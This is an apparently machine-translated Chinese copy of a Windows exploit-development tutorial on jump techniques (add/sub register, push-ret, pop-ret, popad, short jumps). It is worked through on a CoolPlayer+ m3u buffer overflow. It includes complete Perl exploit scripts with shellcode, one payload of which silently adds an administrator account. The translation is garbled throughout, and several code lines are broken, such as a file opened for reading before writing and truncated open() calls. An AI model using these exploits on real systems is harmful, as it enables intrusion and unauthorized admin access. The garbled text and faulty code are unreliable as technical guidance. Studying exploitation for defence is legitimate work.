c++ 跳转到上级目录_Windows漏洞利用开发 第4部分:使用跳转定位Shellcode 模块
概觀
在第2和第3部分中,我們構(gòu)建并改進(jìn)了ASX To MP3轉(zhuǎn)換器的一個(gè)漏洞利用。盡管它存在缺陷,但就漏洞而言,它非常簡(jiǎn)單直接—— 直接利用指向我們shellcode的寄存器從而直接跳轉(zhuǎn)到EIP覆蓋。事情并不總是那么容易。通常你必須做更多的工作來讓應(yīng)用程序執(zhí)行到你的shellcode。在本系列的這一部分中,我們將研究如何在漏洞利用中使用跳轉(zhuǎn)代碼。具體來說,我們將看看如何操作寄存器和棧,并使用條件/無條件跳轉(zhuǎn)來構(gòu)造自定義跳轉(zhuǎn)代碼,以便成功實(shí)現(xiàn)和執(zhí)行shellcode。
跳轉(zhuǎn)到Shellcode
在我們的第一個(gè)例子中,我們很幸運(yùn),因?yàn)槲覀冇幸粋€(gè)寄存器(EBX)直接指向我們shellcode的一個(gè)不間斷部分,這意味著我們只需要一個(gè)調(diào)用/ jmp指令來執(zhí)行它。如果一個(gè)寄存器只指向我們的緩沖區(qū)中shellcode的一小部分,會(huì)發(fā)生什么?或者,如果指向點(diǎn)接近,但不完全在我們的緩沖區(qū)?或者,如果沒有寄存器指向我們的shellcode,但是我們?cè)诙褩I峡吹搅艘粋€(gè)地址。在這些情況下,除了迄今為止我們使用的標(biāo)準(zhǔn)調(diào)用/ jmp指令外,我們還有幾個(gè)選項(xiàng)。當(dāng)涉及到跳轉(zhuǎn)代碼時(shí),我喜歡在以下方面考慮可用的選項(xiàng):
1.操作寄存器通過添加/減去寄存器并跳轉(zhuǎn)到修改后的地址(add?/ sub [reg] + jmp)
通過查找跳轉(zhuǎn)到寄存器偏移量的指令(jmp?reg?+ offset)
2.操作堆棧
通過將我們選擇的地址推入堆棧并發(fā)出返回(push +?ret)
通過從堆棧中彈出一系列地址并發(fā)出返回(pop?+?ret或popad +?ret)
3.使用無條件和有條件跳轉(zhuǎn)跳轉(zhuǎn)到shellcode
我們仔細(xì)看看......
操作寄存器
1.?add [reg] + jmp
當(dāng)你運(yùn)氣不佳,雖然寄存器直接指向緩沖區(qū)的一部分,它也可能不是允許立即執(zhí)行shellcode的位置。但是,您可能會(huì)增加/減少寄存器中的地址,然后強(qiáng)制應(yīng)用程序跳轉(zhuǎn)到該地址。
為了說明這個(gè)技巧,我將介紹另一個(gè)基于m3u的漏洞攻擊,這次是CoolPlayer + v2.19.4(本文寫作時(shí)的最新版本)。您可以從Exploit-DB下載此應(yīng)用以及已發(fā)布的漏洞利用版本:
http : ? //www.exploit-db.com/exploits/29613/
將應(yīng)用程序安裝在C:\中,以便您可以跟隨本教程的其余部分。
首先,漏洞利用實(shí)際上取決于生成的m3u文件的位置,就像我們之前的ASX To MP3播放器示例一樣。
其次,為了使漏洞工作,CoolPlayer?+?可執(zhí)行文件必須從安裝它的目錄運(yùn)行。這意味著如果您想調(diào)試此漏洞(我們將會(huì)),您必須先啟動(dòng)Immunity Debugger,再雙擊位于C:\ CoolPlayer + Portable \中的CoolPlayer.exe),然后用Immunity附加CoolPlayer進(jìn)程。在初始運(yùn)行之后,您可以簡(jiǎn)單地使用Ctrl + F2在調(diào)試器中重新啟動(dòng)應(yīng)用程序。一旦你安裝了應(yīng)用程序,創(chuàng)建一個(gè)只包含Metasploit模式的m3u文件。您可以使用以下任一選項(xiàng):
Kali:/usr/share/metasploit-framework/tools/pattern_create.rb?10000> msfpattern.m3uMona:!mona?pc?10000(將結(jié)果輸出復(fù)制到m3u文件中)。
我們將改進(jìn)已發(fā)布的漏洞利用,因此我們從頭開始。首先啟動(dòng)CoolPlayer并將Immunity Debugger附加到正在運(yùn)行的進(jìn)程。
接下來,將包含Metasploit模式的m3u文件放置在C:\中,并使用CoolPlayer打開它,此時(shí)應(yīng)用程序應(yīng)該會(huì)崩潰,您應(yīng)該在Immunity中看到與以下內(nèi)容類似的內(nèi)容:
注意EDX和EBX如何指向Metasploit模式的開始。ESP也指向模式的一部分,但不是開始。我們用mona來確定偏移量:
Mona告訴我們,EIP覆蓋發(fā)生在偏移量260處(請(qǐng)記住,從第2部分可以看出,這是我定制的mona版本,因此您不會(huì)看到列出的其他偏移量)。它還證實(shí)EBX和EDX都指向我們的Metasploit模式緩沖區(qū)的開始,但EBX包含更長(zhǎng),不間斷的部分(10,000字節(jié)與512字節(jié))。ESP指向緩沖區(qū)的相當(dāng)小的一部分。實(shí)際上,如果您在轉(zhuǎn)儲(chǔ)窗口中查看ESP,則可以確切地看到它在248個(gè)字節(jié)中被中斷的位置。
根據(jù)這些信息,我們希望使用EBX作為我們的目標(biāo)寄存器。讓我們開始通過驗(yàn)證對(duì)EIP的成功控制來構(gòu)建我們的漏洞。
將生成的m3u文件放置在C:\中,在Immunity(Ctrl + F2)中重新啟動(dòng)CoolPlayer +并打開m3u文件。
現(xiàn)在我們已經(jīng)驗(yàn)證了對(duì)EIP的控制,我們可以查找jmp/call EBX指令,以便我們可以重定向到我們的shellcode。再次,我們可以使用mona來做到這一點(diǎn)。
!mona?find?-type?instr -s?"call ebx"如果您引用由mona創(chuàng)建的生成的find.txt文件,您將看到只有一個(gè)應(yīng)用程序模塊具有可行的指令。不幸的是,所有關(guān)聯(lián)的地址都包含空字節(jié)。重復(fù)搜索“jmp ebx”會(huì)得到相同的結(jié)果,因此我們不得不使用OS模塊。我將從kernel32.dll中選擇一個(gè)地址:0x7c810395。我們現(xiàn)在有我們的“call ebx”地址,但EBX指向我們緩沖區(qū)的開始,而不是我們的shellcode。
請(qǐng)記住,由于這是一個(gè)直接的EIP覆蓋,我們的漏洞緩沖區(qū)將被構(gòu)建為類似于以下內(nèi)容:
JUNK(抵消EIP)+ EIP + NOPS + SHELLCODE + FILL。這意味著,如果我們保持原樣,“call ebx”將跳回到我們緩沖區(qū)的開始處,變?yōu)? junk而不是直接傳給我們的shellcode。對(duì)于這種寄存器指向緩沖區(qū)開始的場(chǎng)景,理想的解決方案是在EIP覆蓋之前簡(jiǎn)單地將SHELLCODE部分移動(dòng)到開始位置。這里的問題是我們抵消EIP只有260個(gè)字符。當(dāng)然,我們使用的calc.exe shellcode只有不到260個(gè)字符,但如果你想要做的不僅僅是打開計(jì)算器,會(huì)發(fā)生什么?
我們可以使用我們的“CALL EBX”指令跳轉(zhuǎn)到緩沖區(qū)的開頭,然后使用另一個(gè)自定義跳轉(zhuǎn)代碼序列來跳過我們的EIP覆蓋并進(jìn)入我們的NOPS和shellcode,而不是將自己限制在shellcode的一個(gè)小空間中。這個(gè)自定義跳轉(zhuǎn)代碼實(shí)際上會(huì)通過將所需數(shù)量的字節(jié)添加到其值來操作EBX寄存器,然后直接跳轉(zhuǎn)到該更新的地址。
讓我們用CALL EBX指令更新我們的exploit腳本,然后在緩沖區(qū)的一開始放置一些中斷,以確認(rèn)我們可以成功地達(dá)到我們的自定義跳轉(zhuǎn)代碼。
將m3u文件放在C:\并在CoolPlayer中打開:
我們已成功重定向到緩沖區(qū)的開始處。現(xiàn)在我們需要用一些跳轉(zhuǎn)代碼啟動(dòng)緩沖區(qū)。我們的跳轉(zhuǎn)代碼將執(zhí)行以下操作:
將X添加到EBX,然后跳轉(zhuǎn)到調(diào)整后的EBX,其中X =我們要跳轉(zhuǎn)的字節(jié)數(shù)。我們應(yīng)該添加多少X?
我們需要考慮260字節(jié)的偏移量和4字節(jié)的EIP。我們也想用NOPS作為目標(biāo),最好我們的跳轉(zhuǎn)代碼將會(huì)落在這個(gè)NOP底座的某個(gè)地方。由于在我們的EIP覆蓋之后我們有足夠的空間用于shellcode,因此讓它以50 NOPS開頭。考慮到用于覆蓋EIP的四個(gè)字節(jié),我們的NOP底座將占用我們緩沖區(qū)的字節(jié)265到315。因此,300的自定義跳轉(zhuǎn)X可以跳到放在這個(gè)NOP內(nèi),并很好地流向后面的shellcode。所以,這個(gè)自定義跳轉(zhuǎn)代碼是什么樣的?
為此,我們可以轉(zhuǎn)向另一個(gè)方便的Metasploit工具,稱為metasm。在kali,你可以得到它如下:
/usr/share/metasploit-framework/tools/metasm_shell.rb這會(huì)產(chǎn)生一個(gè)metasm shell,您可以在其中輸入?yún)R編指令,它將返回shellcode的相關(guān)操作碼。由于我們想要添加300到EBX,讓我們?cè)趍etasm中輸入相應(yīng)的Assembly命令并查看結(jié)果:
metasm?add?ebx,?300"\x81\xc3\x2c\x01\x00\x00"
結(jié)果操作碼的問題是它包含NULL字節(jié)。為了避免這種情況,我們嘗試一個(gè)更小的100:
metasm?add?ebx,?100"\x83\xc3\x64"
完美,沒有空字節(jié)。為了使EBX增加300,我們只需要重復(fù)這個(gè)指令3次。在我們將EBX增加300之后,我們需要跳到它。使用metasm,獲取jmp EBX的操作碼如下:
jmp?ebx"\xff\xe3"
我們的跳轉(zhuǎn)代碼如下所示:
my?$jmp?=?"\x83\xc3\x64"?x 3;?# add 300 to ebx$jmp?=?$jmp?.?"\xff\xe3";?# jmp ebx
讓我們更新我們的漏洞利用腳本,以驗(yàn)證自定義跳轉(zhuǎn)代碼能夠成功地將程序執(zhí)行重定向到我們的shellcode。
參考上面的截圖,你可以看到我已經(jīng)添加了跳轉(zhuǎn)代碼。我還修改了$ junk,以便它能夠解釋$ jmp的長(zhǎng)度,并最終得到EIP的正確偏移量(260)。我使用中斷來代替實(shí)際的NOP,這樣我們就可以準(zhǔn)確地看到我們的自定義跳轉(zhuǎn)代碼在哪里。如果一切如預(yù)期的那樣,我們應(yīng)該在我們的INT指令內(nèi)跳過超過我們跳轉(zhuǎn)代碼的300個(gè)字節(jié)。讓我們來看看…...
我們確切地落在了我們預(yù)期的地方。現(xiàn)在我們可以讓NOP緩沖區(qū)變得更小,并且更接近EIP,但由于我們有空間可以玩,所以沒有理由如此精確。讓我們?cè)俅胃挛覀兊穆┒蠢媚_本,用實(shí)際的NOP替換INT并插入一些shell代碼(calc.exe)。
#!/usr/bin/perlmy?$buffsize?= 10000;?# set consistent buffer size
my?$jmp?=?"\x83\xc3\x64"?x 3;?# add 300 to ebx which will jump beyond eip overwrite and into nops/shellcode
$jmp?=?$jmp?.?"\xff\xe3";?# jmp ebx
my?$junk?=?"\x41"?x (260 - length($jmp));?# fill remainder of start of buffer to eip overwrite at offset 260
my?$eip?= pack('V',0x7c810395);?# call ebx [kernel32.dll] which points to start of buffer and our jump code
# no usable application module found
my?$nops?=?"\xcc"?x 50;
# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86/shikata_ga_nai -t perl -c 1 -b '\x00\x0a\x0d\xff'
my?$shell?=?"\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9"?.
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92"?.
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84"?.
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e"?.
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1"?.
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27"?.
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb"?.
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b"?.
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2"?.
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37"?.
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3"?.
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef"?.
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb"?.
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf"?.
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83"?.
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3"?.
"\x9a\xca\xc0";
my?$sploit?=?$jmp.$junk.$eip.$nops.$shell;?# build sploit portion of buffer
my?$fill?=?"\x43"?x ($buffsize?- (length($sploit)));?# fill remainder of buffer for size consistency
my?$buffer?=?$sploit.$fill;?# build final buffer
# write the exploit buffer to file
my?$file?=?"coolplayer.m3u";
open(FILE,?"<$file");
print?FILE?$buffer;
close(FILE);
print?"Exploit file ["?.?$file?.?"] created\n";
print?"Buffer size: "?. length($buffer) .?"\n";
將產(chǎn)生的m3u文件放在C:\中,然后嘗試。
成功!!然而,這個(gè)漏洞利用仍然有限,因?yàn)樗挥性趶腃:\打開m3u文件時(shí)才有效。這里有一個(gè)小小的練習(xí) - 看看你是否可以通過使它在多個(gè)保存位置(桌面,我的音樂等)工作來改善它,就像我們?yōu)锳SX To MP3利用做的一樣。下面列出了一個(gè)可能的解決方案
CoolPlayer + Portable v2.19.4 BOF
2.?sub [reg] + jmp
你可能會(huì)面臨一種情況,你寧愿減少它的價(jià)值,而不是增加注冊(cè)價(jià)值。
例如,在發(fā)生崩潰時(shí),EBX仍然指向我們的緩沖區(qū)的開始處,但僅提供<100字節(jié)的不間斷空間 - 沒有足夠的空間來托管shellcode,但有足夠的空間用于某些基本跳轉(zhuǎn)代碼。這意味著我們可以使用EBX重定向到我們緩沖區(qū)的開始處,并執(zhí)行一些針對(duì)另一個(gè)寄存器的跳轉(zhuǎn)代碼 - 在本例中為ESP。ESP指向我們緩沖區(qū)的一部分(從緩沖區(qū)開始總共約280字節(jié))。
問題是,在崩潰和EIP覆蓋時(shí),ESP指向緩沖區(qū)的中間而不是開始,并且沒有調(diào)整ESP,我們沒有足夠的空間來托管我們的shellcode。為了解決這個(gè)問題,我們可以重新排列我們的緩沖區(qū),以便將shellcode放在開始位置,以適當(dāng)?shù)闹颠f減ESP并跳轉(zhuǎn)到ESP以執(zhí)行shellcode。讓我們重新訪問我們的CoolPlayer +漏洞并進(jìn)行必要的調(diào)整。下面是崩潰時(shí)的堆棧(使用msf模式),因此您可以可視化查看我們?yōu)樾戮彌_區(qū)使用的空間。
我們需要將ESP減少約240個(gè)字節(jié)。再一次,使用metasm來獲得相應(yīng)的操作碼:
metasm?sub?esp,?100"\x83\xec\x64"
metasm sub?esp,?40
"\x83\xec\x28"
metasm jmp?esp
"\xff\xe4"
這是更新的Perl腳本:
請(qǐng)注意以下更改:
跳轉(zhuǎn)代碼現(xiàn)在將ESP減少240Shellcode移動(dòng)到緩沖區(qū)的開頭(跳轉(zhuǎn)代碼之后)
不再需要緩沖區(qū)的垃圾部分(NOP填充任何剩余空間以抵消260)
您可以在執(zhí)行時(shí)立即看到堆棧(為了演示目的,調(diào)用EBX INT指令來替換EBX)。
這個(gè)空間足以讓我們的calc shellcode很好地執(zhí)行。
3.?jmp [reg + offset]
除了通過自定義跳轉(zhuǎn)代碼直接遞增寄存器,您可以通過查找跳轉(zhuǎn)到所需寄存器的現(xiàn)有指令加上其值的偏移量,讓應(yīng)用程序?yàn)槟瓿晒ぷ鳌N覍⒁晕覀兊腃oolPlayer攻擊為例,簡(jiǎn)單演示這種技術(shù)。比方說,EDX是唯一一個(gè)接近指向我們的緩沖區(qū)的寄存器,但不幸的是它指向一個(gè)大約距shellcode 50個(gè)字符之前的位置(這里不是這種情況,但我們將假裝這個(gè)例子)。
為了讓我們使用EDX,我們需要增加至少50個(gè)字節(jié)來達(dá)到我們注入的代碼。我們可以使用jmp [edx + X]指令(其中X代表大于50的數(shù)字)來完成此操作。例如,讓我們搜索一個(gè)jmp [edx + 64]?指令。
以下是OS模塊的一些結(jié)果的屏幕截圖。
然后,您可以使用這些地址之一作為新的EIP覆蓋。當(dāng)然,你不限于64字節(jié)的增量 - 你可能需要更多或更少。您只受可用指令的限制,您可以在可用的DLL中找到這些指令。不幸的是,在這種情況下增加EDX會(huì)導(dǎo)致訪問沖突,所以我找不到這個(gè)特定漏洞的可用地址(盡管我只嘗試過一對(duì))。無論如何,你應(yīng)該牢記這一點(diǎn),作為在未來的漏洞攻擊中跳轉(zhuǎn)到shellcode的可能方法。
操作棧
1.push [reg] + ret
操作堆棧的第一種方法是最容易理解的,因?yàn)樗c發(fā)出跳轉(zhuǎn)或調(diào)用指令的概念相同。讓我們重新審視我們利用CALL EBX進(jìn)行EIP覆蓋的漏洞利用的原始版本,但讓我們假設(shè)我們找不到任何可用的JMP或CALL EBX指令。或者,我們可以搜索PUSH EBX + RET指令集。這將有效地將EBX推到棧頂,然后立即跳轉(zhuǎn)到該地址。這次您將搜索“所有模塊中的所有序列”以查找可用的推式ebx + ret指令。
這會(huì)返回一些可用的結(jié)果,包括我們將用于此示例的shell32.dll中的一個(gè)。
如果你想驗(yàn)證這個(gè)地址實(shí)際上指向了一個(gè)push ebx + ret指令,只需雙擊它,你就會(huì)被帶到Assembly指令窗口中的那個(gè)地址。
您必須從原始漏洞利用腳本更新的唯一東西是$ eip的值。
在CoolPlayer +中打開更新的m3u文件。
2.pop + ret
有時(shí)你沒有足夠的幸運(yùn)來?yè)碛幸粋€(gè)直接指向漏洞利用緩沖區(qū)任何部分的寄存器,但是如果出現(xiàn)下列情況,你可能會(huì)操縱堆棧將執(zhí)行流重定向到你想要的位置:
1.靠近堆棧頂部的地址指向您的緩沖區(qū)2.ESP?+?N指向緩沖區(qū)(其中N是通過當(dāng)前ESP的字節(jié)數(shù)(4,8,12等))。
讓我們?cè)俅问褂肅oolPlayer +作為例子。為了模擬這種情況,我創(chuàng)建了以下漏洞利用腳本:
當(dāng)您在CoolPlayer +(從C:\的根目錄)中打開生成的m3u文件時(shí),您應(yīng)該在Immunity中看到以下內(nèi)容:
我所做的是用字母'J'模擬垃圾郵件字符,以說明我們的寄存器都沒有指向任何立即有用的東西。看看ESP和當(dāng)前的堆棧。您可以看到堆棧中的前三個(gè)條目包含垃圾,但緊接著是指向我們的緩沖區(qū)(7C86467B)的感興趣的地址- 它實(shí)際上是JMP ESP我策略性地放置在這個(gè)位置以模擬我們期望的回報(bào)價(jià)值的指令。請(qǐng)記住,這里有兩種可能的情況:
1)地址已經(jīng)存在于堆棧中,并且您需要將流重定向到它;?2)ESP + X指向您的緩沖區(qū),
在這種情況下,您可以策略性地在您的地址緩沖區(qū),所以當(dāng)ESP + X被調(diào)用時(shí),它會(huì)重定向到你選擇的地址。如果我們可以指示程序發(fā)出pop pop pop,它會(huì)從堆棧中彈出前三個(gè)地址并執(zhí)行下一個(gè)地址中的指令,將流程重定向到當(dāng)前直接指向我們的NOPs / shellcode的ESP?。您可以使用Immunity來查找此彈出流行彈出式ret指令。為此,請(qǐng)重新啟動(dòng)CoolPlayer +(Ctrl + F2),按F9運(yùn)行程序。
在結(jié)果文本框中,您需要輸入想要查找的pop pop pop指令序列。為了做到這一點(diǎn),你需要知道使用哪些寄存器。當(dāng)你只是在尋找一個(gè)單一的pop時(shí),很容易(pop eax ret或pop ebx ret等),但是找到一系列可用的三個(gè)流行歌曲指令可能會(huì)帶來一些猜測(cè)。某些序列比其他序列更傾向于使用,比如pop ebi,pop esi,pop ebx,但它們都依賴于加載的模塊。
一部分結(jié)果如下:
我選擇了第一個(gè)用作EIP覆蓋的ntdll地址(0x7C924961)。如果雙擊該地址,則可以驗(yàn)證它是否確實(shí)指向我們所需的彈出式彈出式彈出式視頻序列。
讓我們更新腳本,用這個(gè)地址替換我們當(dāng)前的BBBB的EIP覆蓋,然后重新運(yùn)行漏洞來驗(yàn)證我們到達(dá)我們的shellcode占位符。
nice。正如你所看到的,我們已經(jīng)成功地使用了pop pop pop ret序列來訪問我們的shellcode。現(xiàn)在我們只需要用一些實(shí)際的shellcode替換INT指令并確保它執(zhí)行。因?yàn)槲以谶@個(gè)例子中使用了ESP,所以我們限制了shellcode的空間量,所以我們不使用迄今為止使用的calc.exe shellcode,而是使用稍微小一點(diǎn)的代碼: ?
http: //www.exploit-db.com/exploits/15202/
這個(gè)shellcode不是啟動(dòng)計(jì)算器,而是添加了一個(gè)管理員用戶。我修改了原始的shellcode,分別將用戶名和密碼更改為r00t和pwnd。這是這個(gè)演示腳本的最終版本:
#!/usr/bin/perl###########################################################################################
# Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow Shellcode Jump Demo
# Date: 12-24-2013
# Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: CoolPlayer+ Portable v2.19.4
# Software Link: http://portableapps.com/apps/music_video/coolplayerp_portable
# Tested On: Windows XP SP3
# Based on original POC exploit: http://www.exploit-db.com/exploits/4839/
# Details: Demo of jumping to shellcode via pop/ret sequence to stack address
###########################################################################################
my $buffsize =?10000;?# set consistent buffer size
my $junk =?"\x4A"?x?260;?# simulate unusable address containing junk with 'J'
my $eip = pack('V',0x7C924961);?# EIP overwrite w/ pop edi pop esi pop ebp from ntdll
my $junk2 =?"\x4A"?x?12;?# simulate unusable address containing junk with 'J'
my $usable_address = pack('V',0x7C86467B);?# jmp esp kernel32.dll
my $nops =?"\x90"?x?20;
# XP SP3 add admin user shellcode -- 107 bytes
# mod'd from original by Anastasios Monachos http://www.exploit-db.com/exploits/15202/
my $shell =?"\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23"?.
"\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca"?.
"\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63"?.
"\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20"?.
"\x6e\x65\x74\x20\x75\x73\x65\x72\x20"?.
"\x72\x30\x30\x74\x20"?.?# user: r00t
"\x70\x77\x6e\x64"?.?# pass: pwnd
"\x20\x2f\x61\x64\x64\x20\x26\x26\x20\x6e"?.
"\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72"?.
"\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69"?.
"\x73\x74\x72\x61\x74\x6f\x72\x73\x20".
"\x72\x30\x30\x74"?.
"\x20\x2f\x61\x64\x64\x00";
my $sploit = $jmp.$junk.$eip.$junk2.$usable_address.$nops.$shell;?# build sploit portion of buffer
my $fill =?"\x43"?x ($buffsize - (length($sploit)));?# fill remainder of buffer
my $buffer = $sploit.$fill;?# build final buffer
# write the exploit buffer to file
my $file =?"coolplayer.m3u";
open(FILE,?");print?FILE $buffer;
close(FILE);print?"Exploit file ["?. $file .?"] created\n";print?"Buffer size: "?. length($buffer) .?"\n";
讓我們執(zhí)行生成的m3u文件(從C:\)并驗(yàn)證exploit是否有效。
成功!!選擇shellcode時(shí)要小心謹(jǐn)慎 - 絕對(duì)不要在生產(chǎn)環(huán)境中運(yùn)行不受信任的shellcode!這相當(dāng)于盲目地從不受信任的來源打開可執(zhí)行文件。在我們討論如何構(gòu)建自定義shellcode之前,我們?nèi)匀挥幸恍┓椒梢詤⒖?#xff0c;我建議使用Metasploit來生成shellcode,或者如果您愿意,可以使用Exploit-DB上的shellcode。
3.POPAD
popad指令按照以下順序?qū)DI,ESI,EBP,ESP,EDX,ECX和EAX(其中ESP被丟棄)簡(jiǎn)單地彈出堆棧前8個(gè)雙字(4字節(jié))并進(jìn)入8個(gè)通用寄存器。您可以像使用彈出式視窗一樣使用popad指令。比方說,例如,在應(yīng)用程序崩潰時(shí),您可以控制ESP + 32.找到彈出式彈出式彈出式彈出式彈出式視頻序列不太可能。相反,您可以使用指向popad + ret指令的指針覆蓋EIP,該指令將彈出堆棧前32個(gè)字節(jié)(8個(gè)dword)并執(zhí)行堆棧頂部的下一個(gè)地址。為此,我們需要找到指向popad + ret序列的地址。
這會(huì)返回多個(gè)可能的OS模塊地址—— 您可能會(huì)發(fā)現(xiàn)由于訪問沖突,有些地址不會(huì)執(zhí)行。我發(fā)現(xiàn)至少有一個(gè)從ntdll(0x7C93121B)開始工作。
在下面的腳本中,我用這個(gè)地址替換了EIP。僅用于演示目的,我還修改了緩沖區(qū)以包含每個(gè)寄存器的值,以說明popad期間彈出寄存器的順序。請(qǐng)注意,我制作了ESP + 32不可執(zhí)行的INT指令來暫停執(zhí)行并查看寄存器和堆棧的當(dāng)前狀態(tài)。
這里是結(jié)果寄存器和堆棧。
如您所見,寄存器從EDI開始自下而上(并放棄ESP)。現(xiàn)在,如果我們替換INT指令ESP $用JMP ESP或致電ESP指令的地址,我們可以繼續(xù)下面的shellcode的執(zhí)行。由于我們?cè)贓SP中分配的空間有限,我再次選擇了一個(gè)較小的shellcode示例,這次是一個(gè)簡(jiǎn)單的消息框來證明成功的利用。
#!/usr/bin/perl###########################################################################################
# Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow Shellcode Jump Demo
# Date: 12-24-2013
# Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: CoolPlayer+ Portable v2.19.4
# Software Link: http://portableapps.com/apps/music_video/coolplayerp_portable
# Tested On: Windows XP SP3
# Based on original POC exploit: http://www.exploit-db.com/exploits/4839/
# Details: Demo of jumping to shellcode via pop/ret sequence to stack address
###########################################################################################
my $buffsize =?10000;?# set consistent buffer size
my $junk =?"\x41"?x?260;?# offset to EIP
my $eip = pack('V',0x7C93121B);?# EIP overwrite w/ popad ret (ntdll)
my $regs =?"\x42"?x?32;?# account for registers populated by popad
my $esp = pack('V',0x7C86467B);?# jmp esp kernel32.dll
my $nops =?"\x90"?x?20;
# modified messagebox shellcode from Giuseppe D'Amore
# http://www.exploit-db.com/exploits/28996/
my $shell =?"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"?.
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"?.
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"?.
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"?.
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"?.
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x4f\x46"?.
"\x21\x01\x68\x61\x64\x20\x42\x68\x20\x50\x6f\x70\x89\xe1\xfe"?.
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";
my $sploit = $junk.$eip.$regs.$esp.$nops.$shell;?# build sploit portion of buffer
my $fill =?"\x43"?x ($buffsize - (length($sploit)));?# fill remainder of buffer
my $buffer = $sploit.$fill;?# build final buffer
# write the exploit buffer to file
my $file =?"coolplayer.m3u";
open(FILE,?");print?FILE $buffer;
close(FILE);print?"Exploit file ["?. $file .?"] created\n";print?"Buffer size: "?. length($buffer) .?"\n";
并運(yùn)行生成的m3u文件。
除了使用EIP覆蓋(或其他指令地址),您還可以將popad直接并入您的緩沖區(qū)shellcode以用作跳轉(zhuǎn)代碼并完成相同的操作。popad指令的操作碼是\ x61。在這里,我修改了腳本來做到這一點(diǎn)。
請(qǐng)注意跳轉(zhuǎn)代碼($?jmp),它首先執(zhí)行popad,然后跳轉(zhuǎn)到esp -?相當(dāng)于popad + ret。由于這個(gè)特定的演示漏洞利用我們的緩沖區(qū)覆蓋了大部分堆棧,我還必須包含一個(gè)變量$ reg,其中包含將由popad寫入寄存器的28個(gè)字節(jié)的數(shù)據(jù)(4個(gè)字節(jié)用于ESP)。這個(gè)版本基本上和我們?cè)谇懊胬又姓{(diào)用的popad + ret指令集一樣,因此它產(chǎn)生了相同的結(jié)果:
4.近/短和有條件的跳轉(zhuǎn)
通過在我們的漏洞中引入無條件和有條件的跳轉(zhuǎn),我們可以跳轉(zhuǎn)到緩沖區(qū)的不同部分來到達(dá)我們的shellcode。
一個(gè)near jump是跳轉(zhuǎn)到位于在當(dāng)前代碼段內(nèi)的CPU指令。
short jump是一種類型的近跳轉(zhuǎn)了在范圍限于從-128到+ 127(從當(dāng)前EIP)的。
要執(zhí)行無條件短跳轉(zhuǎn),只需使用操作碼\ xeb \ xXX,其中XX是要跳轉(zhuǎn)的字節(jié)數(shù)。
正向(向前)短跳轉(zhuǎn)對(duì)于00到7F的XX有可能的十六進(jìn)制值,對(duì)于從80到FF的負(fù)跳轉(zhuǎn)(反向)短跳轉(zhuǎn)有可能。換句話說,20字節(jié)的前向跳轉(zhuǎn)是\ xeb \ x14并且向后跳轉(zhuǎn)20個(gè)字節(jié)是\ xeb \ xea。
向前跳躍很容易理解:14十六進(jìn)制= 20十進(jìn)制。
但是后退跳轉(zhuǎn) - EA十六進(jìn)制= 234十進(jìn)制。
那是對(duì)的?對(duì)于向后跳躍,你必須做一些簡(jiǎn)單的數(shù)學(xué)。下面是我如何得到\ xea。
首先,采取你想要的后跳時(shí)間,并添加2.為什么?因?yàn)樘D(zhuǎn)的字節(jié)數(shù)始終始于跳轉(zhuǎn)后的字節(jié)。由于這是一個(gè)向后跳轉(zhuǎn),因此浪費(fèi)了2個(gè)額外的字節(jié)跳回自身。所以如果我們想要向后跳20個(gè)字節(jié),我們應(yīng)該確實(shí)跳過22.現(xiàn)在執(zhí)行以下操作:
Convert?22?to?binary: ? ?0001?0110Subtract?1?? ? ? ? ? ? ? ?0001?0101
Invert ? ? ? ? ? ? ? ? ? ?1110?1010?=?0xEA
